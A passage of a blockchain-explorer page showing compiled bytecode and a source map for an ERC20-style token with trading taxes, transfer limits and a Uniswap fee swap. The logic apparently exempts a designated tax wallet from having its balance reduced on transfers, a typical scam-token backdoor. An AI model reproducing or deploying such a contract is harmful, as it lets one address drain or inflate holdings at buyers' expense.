b039283166004820152911660248201526044016020604051808303816000875af11580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c69190611771565b601580546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061080e816001600160a01b031660009081526001602052604090205490565b6000806108236000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561088b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108b0919061178e565b505060155460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d91906117bc565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610461565b6001600160a01b038216610a0a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610461565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610461565b6001600160a01b038216610b315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610461565b60008111610b935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610461565b600080546001600160a01b03858116911614801590610bc057506000546001600160a01b03848116911614155b156110085760065460ff1615610c7e576013546001600160a01b03848116911614801590610bfc57506015546001600160a01b03848116911614155b15610c7e57326000908152600560205260409020544311610c6b5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610461565b3260009081526005602052604090204390555b6015546001600160a01b038581169116148015610ca957506013546001600160a01b03848116911614155b8015610cce57506001600160a01b03831660009081526003602052604090205460ff16155b15610e1857600754821115610d1b5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a34329020b6b7bab73a1760691b6044820152606401610461565b60085482610d3e856001600160a01b031660009081526001602052604090205490565b610d4891906117de565b1115610d965760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865206d61782057616c6c65742053697a652e000000006044820152606401610461565b6011546012541015610dae57823b15610dae57600080fd5b60128054906000610dbe836117f1565b90915550506001600160a01b0383166000908152600460205260409020805460ff19166001179055600f54601254610e1591606491610e0f9110610e0457600b54610e08565b600d545b8590611187565b90611209565b90505b6015546001600160a01b038481169116148015610e3e57506001600160a01b0384163014155b8015610e6357506001600160a01b03841660009081526003602052604090205460ff16155b15610f32576007548211158015610e955750600a546014546001600160a01b0316600090815260016020526040902054105b610ed75760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a34329020b6b7bab73a1760691b6044820152606401610461565b610efc6064610e0f60105460125411610ef257600c54610e08565b600e548590611187565b9050601154601254118015610f2957506001600160a01b03841660009081526004602052604090205460ff165b610f3257600080fd5b30600090815260016020526040902054601554600160a81b900460ff16158015610f6957506015546001600160a01b038581169116145b8015610f7e5750601554600160b01b900460ff165b8015610f8b575060095481115b8015610f9a5750601154601254115b8015610fbf57506001600160a01b03841660009081526003602052604090205460ff16155b8015610fe457506001600160a01b03851660009081526003602052604090205460ff16155b156110065761100661100184610ffc84600a5461124b565b61124b565b611260565b505b8015611082573060009081526001602052604090205461102890826113f3565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110799085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110a790859084611452565b6001600160a01b0385166000908152600160205260409020556110ec6110cd8383611483565b6001600160a01b038516600090815260016020526040902054906113f3565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111368585611483565b60405190815260200160405180910390a350505050565b600081848411156111715760405162461bcd60e51b815260040161046191906114f3565b50600061117e848661180a565b95945050505050565b600082600003611199575060006103a5565b60006111a58385611725565b9050826111b2858361181d565b146104305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610461565b600061043083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c5565b600081831161125a5782610430565b50919050565b6015805460ff60a81b1916600160a81b17905580156113e357601554600160a01b900460ff16156113e35760408051600280825260608201835260009260208301908036833701905050905030816000815181106112c0576112c061183f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611319573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133d9190611771565b816001815181106113505761135061183f565b6001600160a01b0392831660209182029290920101526013546113769130911684610947565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113af908590600090869030904290600401611855565b600060405180830381600087803b1580156113c957600080fd5b505af11580156113dd573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b60008061140083856117de565b9050838110156104305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610461565b6014546000906001600160a01b0390811690851603611472575081610430565b61147c8383611483565b9050610430565b600061043083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114d565b600081836114e65760405162461bcd60e51b815260040161046191906114f3565b50600061117e848661181d565b600060208083528351808285015260005b8181101561152057858101830151858201604001528201611504565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155657600080fd5b50565b6000806040838503121561156c57600080fd5b823561157781611541565b946020939093013593505050565b60008060006060848603121561159a57600080fd5b83356115a581611541565b925060208401356115b581611541565b929592945050506040919091013590565b6000602082840312156115d857600080fd5b813561043081611541565b600080604083850312156115f657600080fd5b823561160181611541565b9150602083013561161181611541565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166d5781600019048211156116535761165361161c565b8085161561166057918102915b93841c9390800290611637565b509250929050565b600082611684575060016103a5565b81611691575060006103a5565b81600181146116a757600281146116b1576116cd565b60019150506103a5565b60ff8411156116c2576116c261161c565b50506001821b6103a5565b5060208310610133831016604e8410600b84101617156116f0575081810a6103a5565b6116fa8383611632565b806000190482111561170e5761170e61161c565b029392505050565b600061043060ff841683611675565b80820281158282048414176103a5576103a561161c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561178357600080fd5b815161043081611541565b6000806000606084860312156117a357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ce57600080fd5b8151801515811461043057600080fd5b808201808211156103a5576103a561161c565b6000600182016118035761180361161c565b5060010190565b818103818111156103a5576103a561161c565b60008261183a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a55784516001600160a01b031683529383019391830191600101611880565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028a980a467b58f4d5d7c545b20c09bab178606bd3cf6b2ed97580d3e93e9b9b364736f6c63430008130033
Deployed Bytecode Sourcemap
3552:8156:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5477:83;;;;;;;;;;-1:-1:-1;5547:5:0;;;;;;;;;;;-1:-1:-1;;;5547:5:0;;;;5477:83;;;;5547:5;5477:83;:::i;:::-;;;;;;;;6310:161;;;;;;;;;;-1:-1:-1;6310:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6310:161:0;1023:187:1;5754:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5754:95:0;1215:177:1;4207:57:0;;;;;;;;;;;;;;;;6479:313;;;;;;;;;;-1:-1:-1;6479:313:0;;;;;:::i;:::-;;:::i;5663:83::-;;;;;;;;;;-1:-1:-1;5663:83:0;;4127:1;2000:36:1;;1988:2;1973:18;5663:83:0;1858:184:1;4335:64:0;;;;;;;;;;;;;;;;3941:33;;;;;;;;;;-1:-1:-1;3941:33:0;;;;;;;;4271:57;;;;;;;;;;;;;;;;4831:72;;;;;;;;;;-1:-1:-1;4831:72:0;;;;-1:-1:-1;;;;;4831:72:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4831:72:0;2047:203:1;5857:119:0;;;;;;;;;;-1:-1:-1;5857:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5950:18:0;5923:7;5950:18;;;:9;:18;;;;;;;5857:119;2637:148;;;;;;;;;;;;;:::i;:::-;;10623:187;;;;;;;;;;;;;:::i;2423:79::-;;;;;;;;;;-1:-1:-1;2461:7:0;2488:6;-1:-1:-1;;;;;2488:6:0;2423:79;;5984:167;;;;;;;;;;-1:-1:-1;5984:167:0;;;;;:::i;:::-;;:::i;11021:647::-;;;;;;;;;;;;;:::i;6159:143::-;;;;;;;;;;-1:-1:-1;6159:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6267:18:0;;;6240:7;6267:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6159:143;4406:54;;;;;;;;;;;;;;;;6310:161;6385:4;6402:39;258:10;6425:7;6434:6;6402:8;:39::i;:::-;-1:-1:-1;6459:4:0;6310:161;;;;;:::o;5754:95::-;5807:7;4187:13;4127:1;4187:2;:13;:::i;:::-;4172:28;;:12;:28;:::i;:::-;5827:14;;5754:95;:::o;6479:313::-;6577:4;6594:36;6604:6;6612:9;6623:6;6594:9;:36::i;:::-;6641:121;6650:6;258:10;6672:89;6710:6;6672:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6672:19:0;;;;;;:11;:19;;;;;;;;258:10;6672:33;;;;;;;;;;:37;:89::i;:::-;6641:8;:121::i;:::-;-1:-1:-1;6780:4:0;6479:313;;;;;;:::o;2637:148::-;2550:6;;-1:-1:-1;;;;;2550:6:0;258:10;2550:22;2542:67;;;;-1:-1:-1;;;2542:67:0;;;;;;;:::i;:::-;;;;;;;;;2744:1:::1;2728:6:::0;;2707:40:::1;::::0;-1:-1:-1;;;;;2728:6:0;;::::1;::::0;2707:40:::1;::::0;2744:1;;2707:40:::1;2775:1;2758:19:::0;;-1:-1:-1;;;;;;2758:19:0::1;::::0;;2637:148::o;10623:187::-;2550:6;;-1:-1:-1;;;;;2550:6:0;258:10;2550:22;2542:67;;;;-1:-1:-1;;;2542:67:0;;;;;;;:::i;:::-;4187:13:::1;4127:1;4187:2;:13;:::i;:::-;4172:28;::::0;:12:::1;:28;:::i;:::-;10676:12;:22:::0;4187:13:::1;4127:1;4187:2;:13;:::i;:::-;4172:28;::::0;:12:::1;:28;:::i;:::-;10709:12;:20:::0;10740:13:::1;:19:::0;;-1:-1:-1;;10740:19:0::1;::::0;;10775:27:::1;4187:13;4127:1;4187:2;:13;:::i;:::-;4172:28;::::0;:12:::1;:28;:::i;:::-;10775:27;::::0;1361:25:1;;;1349:2;1334:18;10775:27:0::1;;;;;;;10623:187::o:0;5984:167::-;6062:4;6079:42;258:10;6103:9;6114:6;6079:9;:42::i;11021:647::-;2550:6;;-1:-1:-1;;;;;2550:6:0;258:10;2550:22;2542:67;;;;-1:-1:-1;;;2542:67:0;;;;;;;:::i;:::-;11076:13:::1;:74:::0;;-1:-1:-1;;;;;;11076:74:0::1;11107:42;11076:74;::::0;;11170:9:::1;::::0;::::1;-1:-1:-1::0;;;11170:9:0;;::::1;;11169:10;11161:45;;;::::0;-1:-1:-1;;;11161:45:0;;5151:2:1;11161:45:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;11161:45:0::1;4949:347:1::0;11161:45:0::1;11249:13;::::0;11217:56:::1;::::0;11234:4:::1;::::0;-1:-1:-1;;;;;11249:13:0::1;4187;4127:1;4187:2;:13;:::i;:::-;4172:28;::::0;:12:::1;:28;:::i;11217:56::-;11316:13;;;;;;;;;-1:-1:-1::0;;;;;11316:13:0::1;-1:-1:-1::0;;;;;11316:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11298:53:0::1;;11360:4;11367:13;;;;;;;;;-1:-1:-1::0;;;;;11367:13:0::1;-1:-1:-1::0;;;;;11367:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11298:90;::::0;-1:-1:-1;;;;;;11298:90:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;11298:90:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;11298:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11284:11;:104:::0;;-1:-1:-1;;;;;11284:104:0;;::::1;-1:-1:-1::0;;;;;;11284:104:0;;::::1;;::::0;;11399:13:::1;::::0;::::1;:29;11436:21;11467:4;11473:24;11467:4:::0;-1:-1:-1;;;;;5950:18:0;5923:7;5950:18;;;:9;:18;;;;;;;5857:119;11473:24:::1;11498:1;11500::::0;11502:7:::1;2461::::0;2488:6;-1:-1:-1;;;;;2488:6:0;;2423:79;11502:7:::1;11399:127;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11399:127:0;;;-1:-1:-1;;;;;6225:15:1;;;11399:127:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;11510:15:0::1;6439:19:1::0;;;6432:35;6141:19;;11399:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11544:11:0::1;::::0;11573:13:::1;::::0;11537:67:::1;::::0;-1:-1:-1;;;11537:67:0;;-1:-1:-1;;;;;11573:13:0;;::::1;11537:67;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;11544:11:0;::::1;::::0;-1:-1:-1;11537:27:0::1;::::0;6936:18:1;;11537:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11615:11:0::1;:18:::0;;-1:-1:-1;;;;11644:16:0;-1:-1:-1;;;11644:16:0;;;11021:647::o;6800:335::-;-1:-1:-1;;;;;6893:19:0;;6885:68;;;;-1:-1:-1;;;6885:68:0;;7552:2:1;6885:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;6885:68:0;7350:400:1;6885:68:0;-1:-1:-1;;;;;6972:21:0;;6964:68;;;;-1:-1:-1;;;6964:68:0;;7957:2:1;6964:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;6964:68:0;7755:398:1;6964:68:0;-1:-1:-1;;;;;7043:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7095:32;;1361:25:1;;;7095:32:0;;1334:18:1;7095:32:0;;;;;;;6800:335;;;:::o;7143:2609::-;-1:-1:-1;;;;;7231:18:0;;7223:68;;;;-1:-1:-1;;;7223:68:0;;8360:2:1;7223:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7223:68:0;8158:401:1;7223:68:0;-1:-1:-1;;;;;7310:16:0;;7302:64;;;;-1:-1:-1;;;7302:64:0;;8766:2:1;7302:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7302:64:0;8564:399:1;7302:64:0;7394:1;7385:6;:10;7377:64;;;;-1:-1:-1;;;7377:64:0;;9170:2:1;7377:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;7377:64:0;8968:405:1;7377:64:0;7452:17;2488:6;;-1:-1:-1;;;;;7486:15:0;;;2488:6;;7486:15;;;;:32;;-1:-1:-1;2461:7:0;2488:6;-1:-1:-1;;;;;7505:13:0;;;2488:6;;7505:13;;7486:32;7482:1907;;;7541:13;;;;7537:335;;;7593:13;;-1:-1:-1;;;;;7579:28:0;;;7593:13;;7579:28;;;;:58;;-1:-1:-1;7625:11:0;;-1:-1:-1;;;;;7611:26:0;;;7625:11;;7611:26;;7579:58;7575:282;;;7697:9;7668:39;;;;:28;:39;;;;;;7710:12;-1:-1:-1;7660:102:0;;;;-1:-1:-1;;;7660:102:0;;9580:2:1;7660:102:0;;;9562:21:1;9619:2;9599:18;;;9592:30;9658:34;9638:18;;;9631:62;-1:-1:-1;;;9709:18:1;;;9702:34;9753:19;;7660:102:0;9378:400:1;7660:102:0;7812:9;7783:39;;;;:28;:39;;;;;7825:12;7783:54;;7575:282;7900:11;;-1:-1:-1;;;;;7892:19:0;;;7900:11;;7892:19;:51;;;;-1:-1:-1;7929:13:0;;-1:-1:-1;;;;;7915:28:0;;;7929:13;;7915:28;;7892:51;:78;;;;-1:-1:-1;;;;;;7948:22:0;;;;;;:18;:22;;;;;;;;7947:23;7892:78;7888:543;;;8010:12;;8000:6;:22;;7992:54;;;;-1:-1:-1;;;7992:54:0;;9985:2:1;7992:54:0;;;9967:21:1;10024:2;10004:18;;;9997:30;-1:-1:-1;;;10043:18:1;;;10036:49;10102:18;;7992:54:0;9783:343:1;7992:54:0;8099:12;;8089:6;8073:13;8083:2;-1:-1:-1;;;;;5950:18:0;5923:7;5950:18;;;:9;:18;;;;;;;5857:119;8073:13;:22;;;;:::i;:::-;:38;;8065:79;;;;-1:-1:-1;;;8065:79:0;;10463:2:1;8065:79:0;;;10445:21:1;10502:2;10482:18;;;10475:30;10541;10521:18;;;10514:58;10589:18;;8065:79:0;10261:352:1;8065:79:0;8176:18;;8166:9;;:28;8163:97;;;10949:20;;10997:8;8216:24;;;;;;8278:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8291:11:0;;;;;;:7;:11;;;;;:16;;-1:-1:-1;;8291:16:0;8303:4;8291:16;;;8360:15;;8350:9;;8338:77;;8411:3;;8338:68;;-1:-1:-1;8349:56:0;;8391:14;;8349:56;;;8377:13;;8349:56;8338:6;;:10;:68::i;:::-;:72;;:77::i;:::-;8326:89;;7888:543;8456:11;;-1:-1:-1;;;;;8450:17:0;;;8456:11;;8450:17;:41;;;;-1:-1:-1;;;;;;8471:20:0;;8486:4;8471:20;;8450:41;:70;;;;-1:-1:-1;;;;;;8496:24:0;;;;;;:18;:24;;;;;;;;8495:25;8450:70;8447:386;;;8559:12;;8549:6;:22;;:60;;;;-1:-1:-1;8599:10:0;;8585:12;;-1:-1:-1;;;;;8585:12:0;5923:7;5950:18;;;:9;:18;;;;;;8575:34;8549:60;8541:92;;;;-1:-1:-1;;;8541:92:0;;9985:2:1;8541:92:0;;;9967:21:1;10024:2;10004:18;;;9997:30;-1:-1:-1;;;10043:18:1;;;10036:49;10102:18;;8541:92:0;9783:343:1;8541:92:0;8664:80;8740:3;8664:71;8686:16;;8676:9;;:26;8675:59;;8719:15;;8675:59;;;8704:14;;8664:6;;:10;:71::i;:80::-;8652:92;;8781:18;;8771:9;;:28;:45;;;;-1:-1:-1;;;;;;8803:13:0;;;;;;:7;:13;;;;;;;;8771:45;8763:54;;;;;;8898:4;8849:28;5950:18;;;:9;:18;;;;;;8924:6;;-1:-1:-1;;;8924:6:0;;;;8923:7;:42;;;;-1:-1:-1;8954:11:0;;-1:-1:-1;;;;;8948:17:0;;;8954:11;;8948:17;8923:42;:57;;;;-1:-1:-1;8969:11:0;;-1:-1:-1;;;8969:11:0;;;;8923:57;:102;;;;;9005:20;;8984;:41;8923:102;:148;;;;;9053:18;;9043:9;;:28;8923:148;:174;;;;-1:-1:-1;;;;;;9075:22:0;;;;;;:18;:22;;;;;;;;9074:23;8923:174;:203;;;;-1:-1:-1;;;;;;9102:24:0;;;;;;:18;:24;;;;;;;;9101:25;8923:203;8919:459;;;9161:62;9174:48;9178:6;9185:36;9189:20;9210:10;;9185:3;:36::i;:::-;9174:3;:48::i;:::-;9161:12;:62::i;:::-;7520:1869;7482:1907;9404:11;;9401:161;;9472:4;9454:24;;;;:9;:24;;;;;;:39;;9483:9;9454:28;:39::i;:::-;9447:4;9429:24;;;;:9;:24;;;;;;;:64;;;;9511:39;;-1:-1:-1;;;;;9511:39:0;;;;;;;9540:9;1361:25:1;;1349:2;1334:18;;1215:177;9511:39:0;;;;;;;;9401:161;-1:-1:-1;;;;;9598:15:0;;;;;;:9;:15;;;;;;9588:34;;9592:4;;9615:6;9588:3;:34::i;:::-;-1:-1:-1;;;;;9572:15:0;;;;;;:9;:15;;;;;:50;9647:40;9665:21;:6;9676:9;9665:10;:21::i;:::-;-1:-1:-1;;;;;9647:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9633:13:0;;;;;;;:9;:13;;;;;:54;;;;9703:41;;;9722:21;:6;9733:9;9722:10;:21::i;:::-;9703:41;;1361:25:1;;;1349:2;1334:18;9703:41:0;;;;;;;7212:2540;7143:2609;;;:::o;1315:190::-;1401:7;1437:12;1429:6;;;;1421:29;;;;-1:-1:-1;;;1421:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1461:9:0;1473:5;1477:1;1473;:5;:::i;:::-;1461:17;1315:190;-1:-1:-1;;;;;1315:190:0:o;1513:246::-;1571:7;1595:1;1600;1595:6;1591:47;;-1:-1:-1;1625:1:0;1618:8;;1591:47;1648:9;1660:5;1664:1;1660;:5;:::i;:::-;1648:17;-1:-1:-1;1693:1:0;1684:5;1688:1;1648:17;1684:5;:::i;:::-;:10;1676:56;;;;-1:-1:-1;;;1676:56:0;;11315:2:1;1676:56:0;;;11297:21:1;11354:2;11334:18;;;11327:30;11393:34;11373:18;;;11366:62;-1:-1:-1;;;11444:18:1;;;11437:31;11485:19;;1676:56:0;11113:397:1;1767:132:0;1825:7;1852:39;1856:1;1859;1852:39;;;;;;;;;;;;;;;;;:3;:39::i;10308:98::-;10365:7;10392:1;10390;:3;10389:9;;10397:1;10389:9;;;-1:-1:-1;10395:1:0;10308:98;-1:-1:-1;10308:98:0:o;9760:540::-;5129:6;:13;;-1:-1:-1;;;;5129:13:0;-1:-1:-1;;;5129:13:0;;;9831:27;;9850:7:::1;9831:27;9872:9;::::0;-1:-1:-1;;;9872:9:0;::::1;;;9868:23:::0;9883:7:::1;9868:23;9925:16;::::0;;9939:1:::1;9925:16:::0;;;;;::::1;::::0;;9901:21:::1;::::0;9925:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9925:16:0::1;9901:40;;9970:4;9952;9957:1;9952:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9952:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9996:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;9996:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;9952:7;;9996:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9986:4;9991:1;9986:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9986:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10059:13:::1;::::0;10027:60:::1;::::0;10044:4:::1;::::0;10059:13:::1;10075:11:::0;10027:8:::1;:60::i;:::-;10098:13;::::0;:194:::1;::::0;-1:-1:-1;;;10098:194:0;;-1:-1:-1;;;;;10098:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;10177:11;;10098:13:::1;::::0;10219:4;;10246::::1;::::0;10266:15:::1;::::0;10098:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9820:480;5153:1;-1:-1:-1::0;5165:6:0;:14;;-1:-1:-1;;;;5165:14:0;;;9760:540::o;984:179::-;1042:7;;1074:5;1078:1;1074;:5;:::i;:::-;1062:17;;1103:1;1098;:6;;1090:46;;;;-1:-1:-1;;;1090:46:0;;12966:2:1;1090:46:0;;;12948:21:1;13005:2;12985:18;;;12978:30;13044:29;13024:18;;;13017:57;13091:18;;1090:46:0;12764:351:1;10414:201:0;10514:12;;10484:7;;-1:-1:-1;;;;;10514:12:0;;;10506:20;;;;10503:105;;-1:-1:-1;10549:1:0;10542:8;;10503:105;10588:8;:1;10594;10588:5;:8::i;:::-;10581:15;;;;1171:136;1229:7;1256:43;1260:1;1263;1256:43;;;;;;;;;;;;;;;;;:3;:43::i;1907:189::-;1993:7;2028:12;2021:5;2013:28;;;;-1:-1:-1;;;2013:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2052:9:0;2064:5;2068:1;2064;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606: